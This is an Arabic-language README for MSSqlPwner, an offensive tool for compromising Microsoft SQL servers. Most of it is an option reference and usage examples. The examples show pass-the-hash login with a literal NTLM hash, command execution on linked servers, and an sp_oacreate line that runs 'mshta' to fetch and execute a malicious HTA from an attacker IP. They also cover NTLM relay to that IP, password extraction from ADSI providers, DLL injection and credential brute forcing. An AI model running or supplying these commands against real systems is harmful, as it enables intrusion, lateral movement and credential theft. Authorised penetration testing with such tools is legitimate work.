
أداة متقدمة لاختبار اختراق MSSQL للحركة الجانبية، وتنفيذ الأوامر، وترحيل NTLM، وهجمات القوة العمياء عبر الخوادم المرتبطة وطرق المصادقة المتعددة.
MSSqlPwner هي أداة اختبار اختراق متقدمة ومتعددة الاستخدامات مصممة للتفاعل بسلاسة مع خوادم MSSQL واختراقها. تعتمد هذه الأداة على مكتبة Impacket، مما يسمح للمهاجمين بالمصادقة على قواعد البيانات باستخدام كلمات مرور نصية واضحة، وتجزئات NTLM، وتذاكر Kerberos.
باستخدام MSSqlPwner، يمكن للمستخدمين تنفيذ أوامر مخصصة عبر طرق متعددة، بما في ذلك التجميع المخصص (Custom Assembly)، وxp_cmdshell، وsp_oacreate (إجراءات أتمتة OLE)، وغيرها الكثير.
تبدأ الأداة بالتعداد التكراري (Recursive Enumeration) على الخوادم المرتبطة (Linked Servers) وعمليات انتحال الهوية الممكنة (Impersonations) من أجل جمع جميع السلاسل المحتملة لتنفيذ الأوامر.
أيضًا، يمكن استخدام أداة MSSqlPwner لقدرات إعادة توجيه NTLM (NTLM Relay)، وذلك باستخدام وظائف مثل xp_dirtree وxp_subdirs وxp_fileexist.
يمكن استخدام هذه الأداة لتقييمات الحركة الجانبية (Lateral Movement) واستكشاف الخوادم المرتبطة.
إذا لم يكن لدى مستخدم MSSQL المُصدَّق صلاحية تنفيذ عمليات معينة، يمكن للأداة العثور على السلسلة الصحيحة التي تسمح بتنفيذ الأوامر. على سبيل المثال، إذا كان مستخدمك لا يستطيع تنفيذ الأوامر في السياق الحالي، فستقوم الأداة ببناء سلسلة تستخدم خادمًا مرتبطًا وتتصل مرة أخرى بالخادم الخاص بك بصلاحيات مرتفعة.
البدء مع mssqlpwner سلس وسهل. يمكنك القيام بذلك عن طريق السحب مباشرة من المستودع:
pip install 'mssqlpwner@git+https://github.com/ScorpionesLabs/MSSqlPwner.git'
أو باستخدام pipx - ويجب عليك ذلك - جرب هذا:
pipx install 'git+https://github.com/ScorpionesLabs/MSSqlPwner.git'
والآن يمكنك استخدام أداتك المفضلة الجديدة:
mssqlpwner -hashes ':0CB6948805F797BF2A82807973B89537' 'Administrator'@172.16.2.12 -windows-auth interactive
هذه الأداة مدعومة بعدة طرق مصادقة كما هو موضح أدناه.
هذه الأداة مصممة لمتخصصي الأمن والباحثين لأغراض الاختبار فقط، ولا ينبغي استخدامها لأغراض غير قانونية.
interactive: يسمح باستخدام الأداة بشكل تفاعلي مع تنفيذ فوري.enumerate: تعداد الخوادم المرتبطة والسلاسل.get-chain-list: الحصول على قائمة السلاسل:
-filter-hostname HOSTNAME - الحصول على نتائج مُرشحة باسم مضيف محدد.get-link-server-list: الحصول على قائمة الخوادم المرتبطة.set-chain: تعيين معرف السلسلة (للوضع التفاعلي فقط!)
CHAIN - معرف السلسلة لتعيينها.set-link-server: تعيين الخادم المرتبط (للوضع التفاعلي فقط!)
LINK - الخادم المرتبط لتعيينه.get-rev2self-queries: استرجاع الاستعلامات للعودة إلى SELF (للوضع التفاعلي فقط!).get-adsi-provider-list: استرجاع قائمة موفري ADSI.exec تنفيذ الأوامر باستخدام exec على الخادم المحلي أو على الخوادم المرتبطة
COMMAND - الأمر المراد تنفيذه.-command_execution_method - طريقة تنفيذ الأمر المستخدمة.
xp_cmdshell - تنفيذ الأوامر باستخدام إجراء xp_cmdshell (الافتراضي).sp_oacreate - تنفيذ الأوامر باستخدام إجراء Ole Automation Procedure (يجب استخدامه مثل "cmd /c something").retrieve-password استرجاع كلمات المرور من موفري ADSI.
-listen-port - المنفذ للاستماع عليه (الافتراضي: 1389).-adsi-provider - موفر ADSI للاستخدام (إذا لم يتم تعريفه، سيتم اختياره تلقائياً).-arch - البنية المستخدمة (إذا لم يتم تعريفها، سيتم اختيارها تلقائياً).
x86 - استخدام بنية x86.x64 - استخدام بنية x64.ntlm-relay - فرض إعادة توجيه NTLM إلى خادم.
SMB_SERVER - خادم SMB لإعادة التوجيه إليه.-relay-method - طريقة إعادة التوجيه المستخدمة.
xp_dirtree - استخدام إجراء xp_dirtree (الافتراضي).xp_subdirs - استخدام إجراء xp_subdirs.xp_fileexist - استخدام إجراء xp_fileexist (في بعض الحالات يجب تنفيذ هذه الوحدة من سلسلة ذات صلاحيات).custom-asm - تنفيذ الإجراءات باستخدام التجميع المخصص
COMMAND - الأمر/المسار أو الاستعلام للاستخدام.-procedure-name - اسم الإجراء المراد استخدامه (الافتراضي: execute_command).
execute_command - تنفيذ الأوامر باستخدام التجميع المخصص (الافتراضي).run_query - تنفيذ الاستعلامات باستخدام التجميع المخصص.run_query_system_service - تنفيذ الاستعلامات باستخدام التجميع المخصص كمستخدم النظام (مثل SqlSVC).inject-custom-asm حقن الكود باستخدام التجميع المخصص.
file_location - موقع الملف لحقنه.-procedure-name - اسم الإجراء المراد استخدامه (الافتراضي: Inject).direct-query تنفيذ استعلامات مباشرةQUERY - الاستعلام المراد تنفيذه.-query-method - طريقة الاستعلام المستخدمة.
OpenQuery - استخدام إجراء OpenQuery (الافتراضي).exec_at - استخدام إجراء exec AT.brute إطلاق هجوم القوة الغاشمة (يمكنه استقبال تذاكر، تجزئات، وكلمات مرور)TARGETS_FILE - ملف يحتوي على المضيفين وعناوين IP للهجوم.-ul - ملف يحتوي على المستخدمين للهجوم.-pl - ملف يحتوي على كلمات المرور للهجوم.-tl - ملف يحتوي على التذاكر للهجوم.-hl - ملف يحتوي على التجزئات للهجوم.-link-name - اسم الخادم المرتبط المراد استخدامه-chain-id - معرف السلسلة المراد استخدامه-max-link-depth - العمق الأقصى للخادم المرتبط المراد استخدامه (الافتراضي: 10)-max-impersonation-depth - العمق الأقصى لانتحال الهوية المراد استخدامه (الافتراضي: 10)-auto-yes - الإجابة تلقائيًا بنعم على جميع الأسئلة (الافتراضي: False)-timeout - المهلة الزمنية المراد استخدامها (الافتراضي: 30)توفر MSSqlPwner فرصًا لتقييمات الحركة الجانبية (Lateral Movement) واستكشاف الخوادم المرتبطة. في السيناريوهات التي تفتقر فيها الجلسة الحالية إلى صلاحيات إدارية، تحاول الأداة العثور على سلسلة تعمل على رفع صلاحياتها الخاصة عبر الخوادم المرتبطة. إذا كانت الجلسة على خادم مرتبط تمتلك صلاحيات أعلى، يمكن للأداة التفاعل مع الخادم المرتبط وتنفيذ استعلام مرتبط يعود إلى المضيف بصلاحيات مرتفعة، مما يتيح الحركة الجانبية مع الخادم الهدف.
مدعومة بعدة طرق مصادقة، بما في ذلك:
تتكيف الأداة مع سيناريوهات وبيئات متنوعة، وتتحقق من فعالية آليات المصادقة.
ارفع تقييمات بيئة MSSQL الخاصة بك إلى المستوى التالي مع قوة وتنوع MSSqlPwner. اكتشف إمكانيات جديدة للحركة الجانبية، الاستعلام الخفي، والتقييمات الأمنية الدقيقة باستخدام أداة MSSqlPwner.
# الوضع التفاعلي
mssqlpwner corp.com/user:[email protected] -windows-auth interactive
# الوضع التفاعلي مع عمق انتحال هوية بمستويين
mssqlpwner corp.com/user:[email protected] -windows-auth -max-impersonation-depth 2 interactive
# تنفيذ تجميع مخصص على الخادم الحالي باستخدام مصادقة Windows وتنفيذ أمر hostname
mssqlpwner corp.com/user:[email protected] -windows-auth custom-asm hostname
# تنفيذ تجميع مخصص على الخادم الحالي باستخدام مصادقة Windows وتنفيذ أمر hostname على الخادم المرتبط SRV01
mssqlpwner corp.com/user:[email protected] -windows-auth -link-name SRV01 custom-asm hostname
# تنفيذ أمر hostname باستخدام الإجراءات المخزنة على الخادم المرتبط SRV01
mssqlpwner corp.com/user:[email protected] -windows-auth -link-name SRV01 exec hostname
# تنفيذ أمر hostname باستخدام الإجراءات المخزنة على الخادم المرتبط SRV01 باستخدام طريقة sp_oacreate
mssqlpwner corp.com/user:[email protected] -windows-auth -link-name SRV01 exec "cmd /c mshta http://192.168.45.250/malicious.hta" -command-execution-method sp_oacreate
# إصدار هجوم إعادة توجيه NTLM على الخادم SRV01
mssqlpwner corp.com/user:[email protected] -windows-auth -link-name SRV01 ntlm-relay 192.168.45.250
# إصدار هجوم إعادة توجيه NTLM على معرف السلسلة 2e9a3696-d8c2-4edd-9bcc-2908414eeb25
mssqlpwner corp.com/user:[email protected] -windows-auth -chain-id 2e9a3696-d8c2-4edd-9bcc-2908414eeb25 ntlm-relay 192.168.45.250
# إصدار هجوم إعادة توجيه NTLM على الخادم المحلي بأمر مخصص
mssqlpwner corp.com/user:[email protected] -windows-auth ntlm-relay 192.168.45.250
# تنفيذ استعلام مباشر
mssqlpwner corp.com/user:[email protected] -windows-auth direct-query "SELECT CURRENT_USER"
# استرجاع كلمة المرور من الخادم المرتبط DC01
mssqlpwner corp.com/user:[email protected] -windows-auth -link-server DC01 retrive-password
# تنفيذ كود باستخدام التجميع المخصص على الخادم المرتبط DC01
mssqlpwner corp.com/user:[email protected] -windows-auth -link-server DC01 inject-custom-asm SqlInject.dll
# القوة الغاشمة باستخدام التذاكر والتجزئات وكلمات المرور ضد المضيفين المدرجين في hosts.txt
mssqlpwner hosts.txt brute -tl tickets.txt -ul users.txt -hl hashes.txt -pl passwords.txt
# القوة الغاشمة باستخدام التجزئات وكلمات المرور ضد المضيفين المدرجين في hosts.txt
mssqlpwner hosts.txt brute -ul users.txt -hl hashes.txt -pl passwords.txt
# القوة الغاشمة باستخدام التذاكر ضد المضيفين المدرجين في hosts.txt
mssqlpwner hosts.txt brute -tl tickets.txt -ul users.txt
# القوة الغاشمة باستخدام كلمات المرور ضد المضيفين المدرجين في hosts.txt
mssqlpwner hosts.txt brute -ul users.txt -pl passwords.txt
# القوة الغاشمة باستخدام التجزئات ضد المضيفين المدرجين في hosts.txt
mssqlpwner hosts.txt brute -ul users.txt -hl hashes.txt
rev2self: العودة إلى SELF (للوضع التفاعلي فقط!).